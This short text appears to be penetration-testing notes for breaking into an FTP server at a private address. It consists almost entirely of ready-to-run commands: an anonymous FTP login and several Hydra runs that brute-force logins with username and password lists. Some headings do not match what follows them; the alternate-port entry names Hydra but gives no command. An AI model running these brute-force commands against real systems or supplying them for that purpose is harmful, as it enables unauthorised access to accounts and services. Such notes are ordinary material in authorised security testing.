With no creds:
ftp anonymous@192.168.100.101
To an alternate port:
Hydra
With a username:
hydra -L usernames.txt -P passwords.txt 192.168.100.101 ftp
hydra -l $user -P passwords.txt 192.168.100.101 ftp
With a password:
hydra -L usernames.txt -p $password 192.168.100.101 ftp